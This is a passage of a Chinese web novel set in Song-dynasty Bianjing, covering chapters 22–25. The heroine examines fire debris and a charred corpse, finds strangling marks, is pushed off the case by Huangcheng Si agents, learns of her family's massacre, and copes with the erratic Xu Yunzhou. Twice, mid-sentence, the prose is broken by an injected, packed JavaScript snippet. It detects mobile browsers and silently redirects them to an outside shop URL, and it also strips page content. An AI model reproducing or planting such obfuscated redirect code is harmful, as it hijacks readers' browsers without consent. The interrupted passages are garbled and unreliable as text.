“哦?是吗?”郢六娘直起身来,留下一抹笑意似带了些嘲弄,翩翩纤纤走进门去。 许知非带头进了那间她改造过的柴房,回头示意赵伯带两个跟来的伙计离开,掀开了油布盖好的箱子。 “这些是岑掌柜送来的火场所剩之物,我还没来得及看,今日把孙推官和……” 她看向老仵作,想起还没问这老者尊称,温声道:“失礼了,还没问老伯怎么称呼。” 老仵作略看她,撇开脸去:“老朽姓胡,排行老四,都叫我胡四。” “可有正名?”许知非追问。 老仵作泛蓝的眼睛里终于有了神采,正脸看向她,犹豫道:“老朽……老朽……”他看了看孙推官,低下头,还是不确定能不能说。 郢六娘不耐烦道:“问你个名字,吞吞吐吐,果然是个糊涂蛋,怪不得官府总断错案。” “你!”老仵作登时怒目,“老朽胡不言,怎么?你这小女子从哪里来?!失礼少教,好不知上下尊卑!” 许知非将郢六娘拉在身后,顺势给自己找个借口,鬼市之人,想弄来证明大概也容易……她道:“这是我妹妹,我幼时住在她家,这一手本事也是从她家学来的。她从杭州一处村落来,到汴京是为了投奔我,还不知这京中礼教规矩,老前辈多包涵。” “你是说……”孙推官将信将疑,蹙眉看向郢六娘。 岑掌柜咽了口唾沫,不吱声,不断瞟着许知非,他自然知道郢六娘的身份,脸上写的是忐忑难安。 许知非注意到了他,唇角微勾:“大家还是回到正事上来,相互认识的事,咱们来日方长不是?” 她示意在场几人看箱子里烧毁的杂物:“许云洲那晚回来,头上受了伤,与我说时提到过,说闻见了硝石和石脂水的气味,所以,草民以为,风月楼的火,绝不是意外。” 她分明记得当时有爆炸声,又道:“这些物件,是从风月楼坍塌的废墟里抢出来的,岑掌柜有心查明真相,故而送到此处,求我验看,诸位今日都在,孙大人又可作证,一起看看,有无特别之处。” 柴房里,焦糊味若有似无,越近那个木箱,味道越浓,郢六娘隔着面纱捂住口鼻,探头去看,拿起几件布料放在身旁木桌上,又在箱子里翻找了片刻,退开道:“这里面,像有许多风月楼后厨穿的布褂子,上面还有油渍。” 她迟疑了一下,又道:“不对……这是……” 许知非并不了解这个朝代里的许多物件具体有什么特质,就盯着她,听她说。 郢六娘走近桌前,细看那些布料,忽然一脸惊恐:“这是没烧透的油布?!” 胡老伯上前同看,蹙眉点头:“浸过油的粗麻布,烧的时候,油会先着,火势又大又猛,但油烧完了火就会变小,所以这些布块还留下了一点。” 岑掌柜指了指箱子角落里的几个银锭:“喏,这几个银子,是同一个地方找到的,有的化得厉害,有的却只是面上焦黑,怪啊,我都没敢收起来。” 许知非拾起来稍作对比:“火场温度分布并不自然,通过些物件,阻火,控火,实现只烧死一人,可能性很大。” “可谁人纵火,所为何事?”孙推官愁眉不展,目光投向岑掌柜。 郢六娘又看了几样烧得不完全的东西,有布料,有碎盏,讥诮道:“风月楼本就人杂,什么可能都有,岑掌柜自己觉得呢?” “我……我……”岑掌柜看了孙推官一眼,低下头,有话不敢说。 许知非朝他伸手:“岑掌柜那日给我看的几张记录此时可以拿出来……如果你刚好带了。” “这……”岑掌柜看看孙推官,又看看许知非,脸上一副大祸临头的表情。 “岑掌柜,你只有一次活命的机会了。”许知非很确定,凶手下一步要灭口的就是岑掌柜,因为他找人帮忙了。 岑掌柜从怀里摸出那一叠边角起皱的纸,上面的记录字字清晰。 “这是……我留着保命的……”他退到一边,背过身去,抬起一只手扶墙,颓唐道。 孙推官接下后一张张看过,冷笑道:“保命?我看你是自尽啊。” 岑掌柜脊背一僵,即刻转身跪倒:“孙大人!孙大人饶命啊,小人不曾干过什么伤天害理的事,不过捞些偏门罢了,这些……这些小人都可为大人上堂作证,还请大人看在小人也曾为汴京谋了一隅兴盛,留小人一条活路吧!” “你自今日起不得离开汴京,这些物证,本官会让雷大郎带人来取,”孙推官收起那些纸页,转向许知非,“许坊主,钱正德一事,多有得罪,但本官着实……”他说到最后只叹气,看起来是不知从何说起。 许知非扫过一眼自己桌上那些粗陋的“实验”器具,淡淡道:“我懂,还请大人尽所能留着回春堂那个董二。” “刑狱司已安排妥了,这次倒算平顺,但会不会有变故,实属难料,要交差的不止我一人。风月楼的大火,本官第一时间派人查看了火场,却并没发现这些细则。” 平顺?那就是有人保了……火场没发现?也太不专业了些。 许知非摇头道:“是没发现还是不想发现,其实难说。” 孙推官怔住,表情有些敢怒不敢言,鼻子里大呼了口气。 许知非看了他一眼,低眸一笑:“大人别紧张,草民亦是猜测,既已沾染了这些事,便不想受人盘弄,如今盼的是能帮上忙的同时,给自己挣条活路。”这家伙忌惮许云洲……又或是忌惮他背后的势力,他如今当然是不情愿的,只是没办法,许知非顶着许云洲的名头,这请,他非来不可。 孙推官微微点头:“本官心中有数……火场那具焦尸……还在义舍……老胡已看过……” “可否让我看看?”许知非抢过话来,又看了一眼胡老伯,“汴京的烟火气,是养出来的,街市喧嚷,灶火不熄,草民这生意才做得下去,报上去的课额,也不至于落空。若草民没有看错,方才在府衙候着时,大人案头堆叠的皆是此案呈报,废寝忘食是实打实的,草民不懂如何断案,只懂些解牛剖鱼的事,若大人不嫌,允我在灶下尽些心力,也算不辜负今下这口饭,和为我端来这碗饭的人。” 这碗饭是许云洲端来的,言下之意,这位大人心里定有分数。 孙推官转身对胡老伯打了个手势,看意思是让他老人家做主。 胡老伯迟疑片刻,叹气道:“那你来看看吧,我这眼睛,确是日渐不行了。” 许知非笑纳,朝他拜道:“劳前辈指教。” …… 甜水巷灯笼晃荡,花窗里传来曲声歌声,掺杂着些莺燕轻吟,光影似化成一滩温水,在小巷里溢出浓烈的脂粉气。 许云洲从皇城司出来,抄近路往西南方向去,途经一处小街市,甩掉喧闹和灯火,拐进了甜水巷西侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264559|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巷弄,春风酒幡在汴河一带,他一路朝河岸去,沿河西行就能到。 几只野狗从他身后跑过,发出一串吠叫,他脚步一滞,没有停下,往前,有人落在巷口,朝他而来。 “许公子,”那人身后又落下两个随从,三人一起朝他靠近,“慢些走,太快了,那位小坊主怕就等不到你了。” “凭你们,想拦我?” “不敢不敢,这汴京城里有几人敢拦您啊,小人可是听说了,您入宫献曲,官家都亲自相迎啊。” 许云洲冷眼看着他们,没说话,将伤势刚愈的手背在身后。 那三人脚步后撤,蓄势待发却犹豫不决。 “许公子,您这是刚从甜水巷出来,费了些劲?”那人又调笑起来,只是这次不大自然,笑得僵硬,又怕又勇。 许云洲道:“不如你们说说主子是谁,如此,你们每人能留一只手,如何?” “破弹琴的!装什么装!有本事来啊!” 许云洲一笑:“客官的要求,还真是别致。” 他冲向那三人,暗巷中拳脚相抗,接着,惨叫伴随着骨裂声掺进了甜水巷的曲调里,无人在意,声停时,许云洲身上青灰长袍衣摆袖口沾满了血。 “收多少钱就拿命绊我的脚。”他恼着,尖酸嘲讽。 地上三人四肢都不在正确位置上,皆是奄奄一息,甜水巷里传出些娇柔软语,有扇窗刚刚关上,他抬头看了一眼,沿来路回返。 …… 义舍门一开,扑面而来的空气满是焦臭味,许知非皱了眉头,攥紧自己带来的布包,略掩了鼻子,率先走进去。 一扇旧门板上盖着草席,隆起一个大概的人形,岑掌柜最后进门,姿态瑟缩,嘴里念念有词,是有怪莫怪之类。 孙推官在门板前停下,眼神里仍是无奈,许知非看他一眼,知道这本来是不需要他来做的,至少他自己认为是这样,前后左右都是被逼无奈,这人只想安稳吃口官饭。 “许坊主,此处污秽,要看便快些吧。”他催促道。 许知非掀开草席,胡老伯上前搭了把手,将草席卷起来,扔在地上:“坊主请看,面目全非,老夫是查不出什么线索了。” “你那徒儿还是不肯剖尸?”许知非从布包里取出那套百器铺子里得来的刀具。 胡老伯摆了摆手:“不必理他,他受的是司马学士那一套。” 许知非整理刀具,挑了两把柳叶刀拿在手里:“浑身炭化,皮肤龟裂,肌肉焦黑。” 她用刀尖碰了碰尸体的手臂:“双臂蜷缩在胸前,斗拳姿态。” 胡老伯递给她一对皮手套,她接下道谢,戴在手上:“烦请前辈指点见证。” 她俯身去看尸身,头、躯干、四肢……要找到火药,就需快些…… 郢六娘在房中又找到了几根蜡烛,自己掏出火折全点了,把光线尽数移向许知非所在。 “这舌头……”光线亮起来,许知非用刀尖轻触焦尸的嘴,“还在,却缩成一团,颜色不对。” 胡老伯靠近去看,眯起了眼:“烧死的,都这样。” 许知非依旧专注,刀尖往下走,目光跟着刀尖移动,颈,胸,腹…… 她忽然回头,目光聚焦在尸身喉部,刀尖跟着找回,那里有一点不一样的痕迹,几乎隐在焦黑之下。 她将两把刀握在一只手里,另一只手手指去触:“皮下组织凹陷,弧形,两指宽。” 胡老伯抬眼看她,满是震惊:“什么?!我看看。”他徒手去碰,双眼瞠大,“真是!” 许知非又按了按尸首心口:“这里不对。”她手指往下走,停在腹部,“这里也不对。” 门外,几个察子出现在檐下,身着黑衣,面罩下声音沉出了回响:“皇城司令,孙大人,带着你的人,即刻离开。” 23. 引弦割月 许知非吓了一跳,迅速收起刀具,连同手里的两把一并卷进布包里,岑掌柜退到了门边,满脸惊惶看着门外的人。 皇城司?这又是什么大雷,这尸是不能验吗?到处都是路,路路都不通? “几位大人自称隶属皇城司,可有手令或证明?”胡老伯上前,站在孙推官身侧。 孙推官眼睛连眨了好几下,强行镇定:“此处乃是开封府辖所,二位若无手令,那便算是妨碍公务,本官是要请你们过府一叙的。” 这人官模子倒是做得不错的,许知非趁机正好衣襟,与郢六娘站到一起,低声嘱咐她:“别说话,别动。” 郢六娘看了她一会儿,轻声应道:“好……” 这“好”字略带娇柔,许知非愣了一下,心底有些不好的预感。 门前,带头的两个察子相视一眼,其中一个掏出随身的腰牌,铜牌面上是镀金的鱼龙纹样,在灯火下熠熠闪光。 孙推官上前看过,点头的动作有些僵硬:“既然皇城司有意接管,劳二位问问你们勾当官,何时来取我案上那些细则,下官也好有个安乐。” “我们大人说了,这尸首,任何人不得触碰,孙大人今下照办便可。” 勾当官?许知非听了个新名词,这是什么职务?勾当?她悄悄脱下手套放在停尸的门板上,把郢六娘挡在自己身后,察言观色,不吭声。 门口两个押班看着像是什么侍卫之类,神情严肃,看姿态像是很能打。 胡老伯不慌不忙,只是表情略微有些懊恼,至于孙推官,明显有些如释重负,这是有接盘侠了?岑掌柜的脸色像是更黑了些,应该是皇城司给吓的。 门板上的这具焦尸根本不是烧死的,脖子上有勒痕,内脏收缩过度,不是火烧所致,是本来就已死干了,口腔里面烟灰也只到舌根,分明就是勒死了才放进火里烧的,可这皇城司不让碰又是为什么呢? 还有许多未检,但现在不能轻举妄动,事没办成把自己搭进去算是蠢人,她微微低头,目光落在地面上。 他们的足迹已在尘土上交杂错乱,不远处,孙推官先挪了步:“既如此,下官也只好从命了。”他说得很刻意,显然是给她听的,意思是,许云洲来也无济于事,有人要插手了,且是地位更高的人。 几个察子接管了义舍,胡老伯拾起门边快灭的灯笼:“大人,老朽送您回去。” “不必了,你歇着吧,我自己回去就行。”孙推官语气疲惫,转身往开封府方向走,摆了摆手。 岑掌柜朝他的背影拜了拜:“孙大人慢走。”那动作很夸张。 胡老伯缓缓回头:“许坊主,大人也有难处,开封府里有四位推官,这些事却偏偏都落在孙大人头上,显然都是些烂摊子,是坏账,连知府大人都躲着不管,就算查出什么,恐怕也是惹祸上身,还是留给皇城司接手最为稳妥,你啊,就别查啦,许云洲许公子定也知道轻重,你与他说一声,至于老朽我……确实也该认老啦……” “胡老伯如今虽是眼花,但经验丰富,开封府不能少了您,不过……这皇城司又是什么衙门?”许知非装傻充愣,想趁机打听勾当官的事。 孙推官已走远,郢六娘伸着脖子张望,确认没人靠近,开口道:“你连皇城司都不知道?还真是出门少的小公子。” 岑掌柜鬼鬼祟祟,将许知非和胡老伯一路拉到巷子外面,确认那些察子没跟来,低声道:“那皇城司明面上是管的宫城出入的禁令,周庐宿卫的事,宫门启闭的节,听着像是护驾的,”他说着便鬼鬼祟祟,四处张望后声音压得更低了些,“实则背地里,是刺事的,察子派出去,扮作市井里的人,听人说话,看人行止,上至大臣宅邸,下至瓦舍勾栏,就没有他们不在的地方。” “这么说来,这些事,官家是都知道的?”许知非同样压低声音问道。 岑掌柜重重叹气:“许坊主,这知不知道也都不是你我能管的了,他们既说了那焦尸不许碰,那便是没有余地了。” “那勾当官又是什么?” 胡老伯声音有些沙哑:“皇城司里有七个勾当官,个个都是心狠手辣,手上人命无数,尤其一位,至今无人见过真容,坊间传言,他生得面如罗刹,手段残忍,冷血至极,不近女色,也不赴宴席,只听命于陛下一人。” “所以,勾当官就是皇城司里的……” “山匪头子。”郢六娘拨弄着头发,接了这话茬,“占山为王的一群山匪,且背后有人,为所欲为,对吧?” 胡老伯语重心长道:“这位姑娘,话也不是这么说,那些个大人,也是为除祸害以命相博的人,若没有这些人,这汴京城里,怕是早没这么太平啦。” “太平?何时?我怎不知?”郢六娘扮作惊讶,一双媚眼睁大了依旧好看。 胡老伯还想再说,许知非将他阻下:“既如此,今晚便先到这,老伯您早些回去,我们再去别的地方看看有没有别的线索。” “你还要查?”胡老伯有些恨铁不成钢的气愤,“你就不怕那些大人们将你与那些个阻碍一并清了去?他们与孙大人不同,可不是会与你讲情理、留脸面的。” 许知非摇头:“胡伯伯,那具焦尸你看过了,有没有发现新的东西?” 胡老伯一愣:“你是说……” “勒痕……一个女孩子,被活活勒死,烧成这样,连个身份都没有,再过几日,就要埋进乱葬岗了吧?” 岑掌柜低头叹气:“早知如此,我就留在老家种地了。” 郢六娘低声补充,头上那支与她身份不相称的珠钗闪着光:“孤魂野鬼,无名无姓,这便是我们这样的人的命。” 胡老伯张了张嘴,没说话。 “前辈,您验了几十年的尸,这样的人您见过多少?” 胡老伯声音发涩:“多了去了……” “我知道一个地方,那里很远,远到这里的车马到不了,在那里,一个人死了,会有人来找他,会知道他为什么死,会有人哭天抢地为他要个公道,可在这里……” 她停住,看向郢六娘:“在这里,人死了,就死了,没人领,就烧了,多一事,不如少一事……” 郢六娘眼里含着泪,与珠钗上的光相互映衬:“我小时候……我阿娘说出门给我买碗面,之后就再没回来,没人能告诉我她去了哪里,我四处找,最后,有个婆婆,她带我去了乱葬岗,我阿娘……就在里面……” 泪光从她眼底落下来,许知非清楚看着:“皇城司的人没有干净的,可那具焦尸,她是干净的……” 郢六娘忽然抓住她的手,水汪汪的眼睛里满是恳切:“你要怎么查,我帮你。” “这尸还没验完,我想去街市里看看,打听一下有没有谁家丢了人,活生生的人总不可能是凭空出现的,不论她是谁,我都要让她有个姓名。” 郢六娘转而笑起来:“早说啊,这个我在行,你回去等着就行。” 她看过一眼岑掌柜和胡老伯,抹了一把眼里的泪花,又对许知非嘱咐道:“还有你应承的事,可别忘了。”她没等她回答,转身走进河岸边的楼船夜市里,纤瘦的身影融入人群中,很快就不见了。 岑掌柜垂着头,依旧忐忑不安:“这可如何是好,惹上了皇城司,我这辈子算是完了。” “岑掌柜若不嫌弃,可带家中老小到我店里暂避,许云洲的地盘,大概汴京城里还是有点儿面子的。” “许坊主,岑某……岑某如今只想带着一家老小,找个没人认得岑某的地方,重新开个小铺,卖卖酒,过过日子,你看许先生能不能……能不能……” “你走不了。”许知非冷声回答,“你风月楼做了辽人的生意,旧党官员在你撷芳阁中徇私舞弊,他们秘议监主自盗伪造文书之事,你却受财枉法,瞒而不报,这算是知情藏匿之罪,今时今日的情形,全然是你咎由自取,而如今你却想卖个可怜一走了之?那因你一己私欲而受连累的人呢?他们有机会走吗?” 胡老伯手上满是褶皱,拍了拍岑掌柜的肩,脚步靠近了些:“许坊主……你很像一个人……” “什么?”许知非一愣,上来的火气一下消掉。 “老朽在这义舍里呆了多年,经手的尸体数不胜数,有些人是自然死的,有些人是被害死的,还有些人……是‘应该死的’。” “什么叫‘应该死的’?”岑掌柜脱口而出,显然认为这是在映射他。 “就是皇城司觉得他该死,他就得死,验尸的格目怎么写,自有上面的人教你。”胡老伯指了指天,垂低了头。 “那这次呢?那具焦尸也是吗?”许知非不敢相信,皇城司还有这么大的权力,要谁死就谁死? 胡老伯摇头:“不是,所以老朽才觉得怪。” “怪在何处?” “怪在皇城司亲自到这里来,看守,接管。”胡老伯看向许知非,模糊的眼睛里映出夜市的光点:“但就在二十年前,我遇见过同样的怪事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269572|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 岑掌柜默默掰着指头:“二十年前……庆历七年……” 许知非心底一震,庆历七年,是原身家破人亡的那一年。 胡老伯接着道:“那年有个军器监的人,与你一样,姓许,”他停顿了一下,看她的眼神像是另有意味,“他跟我差不多大,来时爱穿一身青衫,手上有有些火药烧伤的疤痕,身上也有些硝石火药之类的气味,他来过三次,都是夜里,带着些见不得光的东西……” “……是什么?”许知非胸口揪紧了,这本不是她的事情,可她却很紧张,就像胡老伯口中所说的是她自己的生身父亲,她极力平复,以便维持着那副男人姿态。 胡老伯看了岑掌柜一眼,继续道:“第一次,是一张烧剩货单,上面是辽人的半个名字,第二次,是一段人皮,火药炸碎了,有几个残缺不全的烙印,第三次……” 他认真看着许知非的脸,很仔细,像要数清她脸上有几根汗毛:“第三次,是一个女娃,两三岁,很聪明,眼睛很亮,却穿着男孩子的衣服,不愿跟我说话,他把她放在我这儿,要我把那个女娃藏起来,风头过了就来接……” “后来呢?”许知非说得很轻。 “后来……军器监丞许文谦,满门被杀,那个女娃在那天夜里不见了,那一夜,皇城司也来过。”他说时看着她的眼睛,好像问了她一个问题。 许知非眼睫一颤,躲开了他的目光:“那倒真是怪了。”她扯出一个笑来,看向不远处的楼船夜市,隐约能听见些谈笑声传过来。 “好啦,老朽要回去了,皇城司的大人们还等着老朽伺候。”胡老伯转身离开,身影没入巷弄灯影中,微微有些佝偻,但脚步极稳。 他住在义舍里,始终孤身一人。 岑掌柜望向风月楼原本灯笼高挂的地方,那一片天空了出来,挂上了一轮月,他道:“许坊主说得不无道理,那岑某便留在汴京,算是给那些无辜受害的人一个交代吧。” 那晚月色很好,郢六娘一直没回来,岑掌柜坚持要回自己家,说是买了几处私产田地,在城东水门外面租了一处小宅,本来随时要走的。 她独自回了春风酒幡,许云洲的房间没有灯,她推门去看,洞黑屋里窗户楼下来些光亮,没有人,琴不在,有几件衣裳挂在椅背上,她不小心碰到了桌子,发现杯子里有水,桌上隐约有几点水迹还没干,像是回来过,又出去了。 她往房间深处走,一团黑,她伸手去摸,是防着自己再碰到什么东西,却听见了靴底挪动时擦过地面的细微声响。 她停在木柜前,声音在柜子后面,她迟疑了一下,继续往前,一只冰凉的手瞬间扣住了她的手腕,无法抗拒的力道将她整个人拽了过去。 “义弟深夜查房,是有什么要事?”许云洲的声音在她头顶上飘下来,轻得像是说悄悄话。 她面对着墙,动弹不得,勉强回头:“黑灯瞎火的,你躲什么?” 许云洲牢牢压着她:“自然是躲你,只是如今又不想躲了。”他胸口贴在她脑后,将她挟制在自己和墙面之间,手指蹭进她手心里,“妹妹倒是说说……找我何事?嗯?” 许知非试图挣脱,他又使了些劲,另一只手臂环过她的腰身,把她紧紧箍在自己怀里。 “你……”许知非又试着挣扎,发现根本没用,“你去了哪里?鬼市出来,你就没露过面,我来是看你是不是死在了屋里。” “那要让妹妹失望了,坏人是不会那么容易死的,而那些总想着别人的人,总疼着、护着别人的人……最容易死了。” 他伏在她耳边笑,鼻尖蹭到她颈窝里,像在嗅她脖子上的味道。 许知非起了一身鸡皮疙瘩,手指甲用力扣进了他的手臂:“你放开!” “你确定?”他动作停住,呼吸喷在她耳后。 她大声吼他:“放开!” “我若放不开呢?”他不动,声音在抖,冰凉的手指扣紧了她的手。 门外传来脚步声,青禾闯进屋里,从他身后将他一把拉开。 “许云洲!你做什么?!”他把许知非护在身后,一拳砸在许云洲脸上。 许云洲踉跄了几步,扶着木柜站稳,手背去擦嘴角的血,窗外的月色像是更亮了些,照出他眼底一片阴影。 “我与义弟开个玩笑,沈先生如此紧张做什么?”他笑起来,好像疯了一样。 许知非拉了拉青禾的衣袖:“青禾,去点灯,这个人……不对劲。” 24. 病入膏肓 青禾回头看她,愣住没动。 “点灯,多拿几盏来,全点上,把屋子照透。”许知非又重复了一遍。 那是主人对随从的命令,平静却并不温和,青禾咬了咬牙,去找这屋子里的灯,光亮灌满房间的时候,许云洲的神情把许知非吓了一跳。 他身上的衣裳是新的,没有再笑,人靠在木柜边上,眼里空空的,看着地面。 许知非见过死人、快死的人、装死的人,而他现在看起来就好像活着但跟死了没两样的人。 青禾又找到了几个烛台,全点了,放在桌上。 光线里,许云洲眉目依旧,像氤氲山水中蒙了一层薄雾微雨,可不知怎么目光散开了,明明刚才还在笑,还发疯一样抱着她。 “许云洲?”许知非轻声喊他, 他目光一动,移到她脸上,却没有焦点,不吭声,没表情。 她想起那天他把她从浴桶拉起来时的神情,难道是压力太大了? “许云洲,”她又再喊他,小心翼翼,“皇城司接管了义舍和那具焦尸,我还没查完,就被赶出来了。” “是吗……”他走到桌边坐下,抬手去拨那些蜡烛上的火,“查到什么了?” 青禾注视着他的脸,皱眉嫌弃:“你是不是有病啊?你是弹琴的,你那手烫伤了可别到外面冤枉我们啊!” 他依旧轻抚那些烛火,像没听见一样,无动于衷。 许知非试探着伸手,握住了他的手腕,将他那几根拨琴弄弦的手指一点点带离那些火光:“我发现……你好像……有些自己控制不住的毛病……你是不是哪里不舒服?” 许云洲没有反抗,她迅速将他的手按在桌上,放好,确定他不再动,慢慢松开手:“我能理解……有些人,钻研些技艺,或者……查案子……压力太大,脑子里是会有些毛病,都是急的……但这很正常,你不用担心,只是现在,最重要的是,要查清楚辽人到底在汴京城里设了什么局,我今日去看了那具焦尸,孙推官也亲自查证了柴房里的物件,有些收获,你要是清醒,我这就想跟你说说。” 许云洲睫毛动了一下,眼里有风吹了烛火,一点光猛地一晃。 青禾站在许知非身后,冷哼道:“怕不是装的,实则本就是个轻浪之人,人前摆了一副温润端方的姿态,背地里不知办些什么勾当。” “沈先生说得对,我是装的,所以沈先生能拿我怎么样呢?刚才那一拳,有点疼啊……”许云洲说得很轻,像自言自语,站起来,眼里仍是空的,朝青禾走过去。 许知非大觉不妙,这样的人能干出什么很难预测,她赶忙挡住他:“许云洲!” 他目光再次落在她脸上,渐渐有了焦点,继而那副温润如玉的琴师模样又出现了。 他身上的衣料比平日更加精细,玉白细织的料子里有些微微闪着光,丝线看得出华贵,刺绣的纹样看起来不像是市井坊间能做的,也不知是从哪里回来,如今,那抹人畜无害的笑又挂在了脸上。 “知非。”他轻声应她,又看了看青禾,“他是你的人,所以我没还手,可他好像不满意,我想着,是不是觉得我没给他面子,还是最好打一架……” “许云洲,他是我的人,与我一起长大,他打你,是因为你刚才确实不对,他不知道你有病……”她说到最后不大确定,抿了一下嘴。 许云洲脸上那抹笑僵了一下,没说话,看着她,眼神像在观察什么东西,还想碰一下,但手没动。 许知非有点紧张,从没接触过这样的人,还在这样的地方,顶着别人的身份,她那时有点别扭,不确定怎样才对,回头看了看青禾。 “他替我挡过街上的混混,帮我背过酒坛子,代我挨过老坊主的骂,比起你,他更像我的兄长……而你,这所谓义兄的名头,是我们之间的书契,即便你帮我……也如你所说,你是在帮你自己……即便我真欠你什么,也比不过欠他多,你要是记恨他打你,要还手,那我……替他挨就是了。” 许云洲看着她,眼里有很多光点在跳,有些东西从那双眼睛深处浮上来,像是很疼、很苦的东西,拌进了他柔和的目光里。 “知非……” 许知非战战兢兢,警惕着他神情里每一个细微的变化,要是他真动手,她定要反应快些…… “你……还要还手吗?” 许云洲轻轻摇头:“不了,”他看向青禾,唇角弯着笑,“他这一拳,我记下了。” “不是,你……”许知非一惊,往他面前迈了一步,以便能更快阻下他每一个可能的动作。 “不是记仇,”许云洲打断她的话,退了一步,笑里藏着些复杂难辩的东西,声音很轻,“是记着这世上还有一个人护着你。” 那不是一种对各取所需之人该有的表情……他根本不高兴,可却像是为她高兴,许知非看着他,忽然不知该说什么。 “坊主不是说查到些东西吗?”许云洲又在坐下,把烛台一一摆到桌子中间,眼神专注,动作小心,好像那些烛光里有什么危险的东西,随时会爆开? 他一边摆,一边说:“坊主既知道我有病,那我便不再掩饰了,至于什么时候又会发病,我也不清楚,所以坊主有什么事都尽快说,免得我不清醒的时候,又做出什么蠢事来。” 还真承认了?许知非看了看青禾,小心坐下,拉了拉椅子,把自己隔在他和许云洲之间。 “是这样,”她也看向那些烛台,注意力却在他那双大手上,“那具焦尸,是勒死的,脖子上有勒痕,内脏收缩过度,是本就死干了才放进去烧的,跟我猜的一样,像是给薛老妇做替身,从岑掌柜送过来的那些东西烧毁的情况来看,确实有控制火烧速度的痕迹,纵火之人,不想伤及更多,也符合你的猜测,辽人不想事情闹得更大,恰到好处,不痛不痒,干干脆脆地清除隐患即可。” 许云洲骨节分明的手慢慢拨弄着烛台的位置,火光勾勒出他手上数道浅淡难辨的疤痕,他淡淡开口,动作不停:“薛老妇踪迹不明,你说的不无可能。”他撇了一眼青禾,若有所思,收回手,“我这两日也有发现……”他顿了顿,皱起眉头,“糟了,脑子里一团浆糊,看来这病好不了了。” 他表情有些刻意,许知非将信将疑:“是不是谁家走失了人?” 许云洲支起一只手,扶额摇头,闭了眼,好像头疼:“……想不起来。” 许知非咽了口气,知道自己拿他没办法,也不能把他吊起来严刑逼供:“那你先休息吧,是我打扰了,不该闯进来。” 她站起来,示意青禾一并离开,走到门口又回头看了看,许云洲已然睁了眼,只是空空看着桌面,那种涣散的眼神确实好像不大清醒。< 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她轻轻关上门,回头看见郢六娘坐在自己床上,一点不见外,甚至有些…… “你……”许知非一时语塞,不知如何说起。 郢六娘娇羞的模样她如今还记忆犹新,春水一片的眼睛看着她,斜斜倚着床框,脸颊泛红,声音低柔带哑,身上衣物微微松散开,一侧锁骨是有意染了些胭粉色,还沾了点珠光做点缀。 她微微咬唇,对她说道:“许坊主想知道的奴家并没打听到,”她低下头,指尖勾了一侧鬓发挂在耳后,“但有些旁的东西,或许坊主更感兴趣。” 许知非干笑了一下:“六娘指的是……” “独眼老三说请你亲自去听,免得我传错了嘴,惹麻烦。”郢六娘微微蹙眉,嘟嘴委屈,语气娇嗔起来。 许知非清楚了,这是当真不知她身份的,但要演,于是更尴尬了些:“呃……那我……先换身衣裳?” “奴家帮你。”她说着就起身走向她。 许知非连连后退:“不不不,你坐着,我自己来,很快。”她迅速抓了身衣裳,跑到屏风后面,为了防着她闯进来,她决定给她找个事情做,喊道,“你帮我契壶茶吧!我渴了!楼下厨房里应该有热水。” 郢六娘应得欢喜:“好,奴家这就去,坊主慢慢来。” 她听见她开门出去,赶紧把屏风后面堆放的几件女子衣物往柜子暗格里收,许云洲出现在门外,温和的声音突如其来:“她要带你去哪里?你不问清楚就答应?” 许知非心里绷着一根弦,他一开口把她吓了一跳:“……啊?” 许云洲上下打量着她那一身还没穿整齐的男装,眉心微微拧了一下:“没事了,说你好看呢。” 他转向门外,像是在看郢六娘什么时候回来,许知非缓过神来,慢慢走过去,拽了一下他的衣袖:“你好些了?那案子……” 他回头看了看她,眉头越拧越紧:“嘶……一想就头疼……”他喉结动了一下,转向她,玩味般盯着她的脸,目光渐渐落在她的嘴唇上,俯身靠近,“不如先看看郢六娘给你找来了什么?” 许知非往后退开:“你也要去?” “去,必须去。”他神情忽然一冷,直起身来,“你现在还不能把自己作死,也别想坏了我的生意。” 25. 弦隔遗影 “许琴师的生意都做进皇宫内院去了,还差酒坊里这一点儿?”郢六娘取了一壶热水回来,脚步轻曼,从他背后经过,走进屋里,“坊主,茶叶在哪儿呢?” “不用了,我们赶紧出发吧,许云洲也想去,这案子本来也是他替人查的,我是无辜受了牵连,确实理应一起去看看。”许知非说得郑重,动手整理自己没穿齐整的衣裳。 许云洲皱着眉头看她,伸手把她没收紧的衣襟一把扯紧,动作很熟练,就像是常做的事情。 他绕到她身后,把她系歪的腰带解开,用力一勒:“坊主下次还是把衣服穿好些再出门,毕竟春风酒幡今时不同往日,我不想外头有些不必要的闲话。” 许知非腰背一紧,一口气差点没上来,知道他是提醒她不要露馅,笑道:“多谢,随便惯了,日后注意。” “我们之间,不必客气。”许云洲扫了郢六娘一眼,“不若……叫上妹妹同去?算到鬼市地盘游玩见识。” 这人,故意的…… 许知非板起脸来:“舍妹刚到汴京,留了书信说到马行街那边去住几日,要找她来怕是耽误时辰,还是我们自己早去早回吧,大家都要做生意呢。” “真让人失望。”许云洲双眼深处有些若有似无的光,黑曜般的眸子里是她的脸。 他唇角微微扬起,笑得很浅,目光从她的眉眼落向鼻尖,掠过唇角,又回到那双时常锐利的眼睛上,那眼神看不出有半分遗憾。 “舍妹刚到汴京……”他重复她的话,声音很低,眼里带着一种捉摸不透的兴致,“留了书信到马行街那边去住几日……”他笑意渐深,微微偏了一下头,“舍妹……” 他重复了那个称呼,柔软得像是在哄她,睫毛垂下又抬起,眼里有些光点闪过。 